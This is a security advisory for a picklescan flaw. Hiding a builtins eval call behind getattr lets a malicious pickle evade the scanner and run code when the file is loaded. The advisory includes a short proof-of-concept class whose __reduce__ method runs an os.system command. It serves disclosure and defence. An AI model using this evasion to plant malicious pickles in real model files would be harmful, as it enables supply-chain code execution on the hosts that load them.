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picklescan missing detection by simple obfuscation of a `builtins.eval` call

CVE-2026-53874 ยท 2026-02-02 high

Class
Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
Technique
Code and command execution
Also involves
Model Evasion
Affected
picklescan (PyPI)
Gets past
Safe model loader or scanner
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
EPSS
0.5% chance of exploitation in 30 days

How it works, in short

A pickle payload hides a builtins eval call behind getattr, so the scanner does not flag it and the code runs when the file is loaded. (Our summary, written by a model. The source text is below.)

Details

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC

import builtins

class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)

    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)

Impact

Who is impacted?
Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact?
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

References

Source: GitHub Advisory Database, used under CC BY 4.0.